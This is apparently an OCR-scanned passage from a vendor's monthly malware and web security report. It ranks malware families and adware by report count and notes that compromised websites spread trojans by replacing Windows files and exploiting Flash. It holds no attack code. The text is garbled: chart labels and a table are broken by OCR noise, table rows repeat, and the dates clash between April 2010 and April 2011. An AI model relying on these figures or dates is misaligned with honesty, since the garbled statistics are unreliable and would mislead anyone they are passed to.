DROPPER 2,668 2.5%
DOWNLOADER 1,727 1.6 %
JOKE 1,024 1.0 %
Win32/VIRUT 570 0.5 %
APPCARE 199 0.2 %
SPYWARE 62 0.1%
ETC 79,490 73.8 %
Total 107,713 100 %
75'000 79,490

14,371

7,602
] I 1,727 570 2868 199 g 1,024
4dware 7}0/6/7 Ow,”oader u//,"?z/l,lﬁa Dropper 4ppcare Spy“'a,.e Joke 57"0

[Fig. 3-5] Top Distributed Types of Malicious Code

Top 10 Distributed Malicious Codes
As of April 2010, Win32/Induc is the most distributed malicious code, with 51,683 cases reported. 3

new malicious codes, including Virus/Win32.Induc, emerged in the top 10 list this month.

Ranking ™M Malicious Code Reports Percentage
1 A2 Win32/Induc 51,683 58.1 %
2 NEW Virus/Win32.Induc 23,612 26.6%
3 A2 Win-Adware/Shortcut.InlivePlayerActiveX.234 3,355 3.8%
4 A2 Win-Adware/Shortcut.Unni82.3739648 2,249 2.5%
5) A5 Win-Adware/Shortcut.Bestcode.0002 1,537 1.7 %
6 v2 Win-Adware/ToolBar.Cashon.308224 1,455 1.6 %
7 NEW Win-Trojan/StartPage.40960.AH 1,449 1.6 %
8 — Win-Adware/Shortcut.Tickethom.36864 1,319 1.5%
9 v2 Adware/Win32.ToolBar 1,224 1.4 %
10 NEW Win-Joke/Stressreducer.1286147 1,010 1.1%

[Table 3-3] Top 10 Distributed Malicious Codes
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03.Web Security Trend
b. Web Security Issues

April 2011 Malicious Code Intrusion: Website

[Fig. 3-6] Monthly malicious code intrusion of website

Fig. 3-6 above shows the monthly malicious code intrusion of
websites. There has been a stable increase since February. This is
because the websites monitored by Honeypot have been intruded and
this increased malicious code distribution.

[Table 3-4] Top 10 Malware Distributed Via Compromised Websites
Ranking Threat UR

Win-Trojan/Patcher.34816.C 20
Win-Trojan/Onlinegamehack.89758 19
Win-Trojan/Onlinegamehack.36864.F1 18

17
Win-Trojan/Patcher.34816.C 20

NV (O[O~ B[ WIN|—

) Y
—_

compromised websites this month. None of the malware is
from the previous month - this is because the fast response by
antivirus providers have shortened the life span of malware and
the distribution cycle of variants with the same function has

become shorter. This month, malware were distributed by:

1. replacing Windows file with malicious file, and
2. exploiting vulnerabilities in Adobe Flash Player.

Refer to the following sites for further details:

Malware replaces imm32.dll to gain your administrator’s
privileges: http://core.ahnlab.com/283
Win-Trojan/Agent.30904.H replaces Windows file with
malicious file: http://core.ahnlab.com/280

Malicious flash file targets your computer: http://core.
ahnlab.com/282
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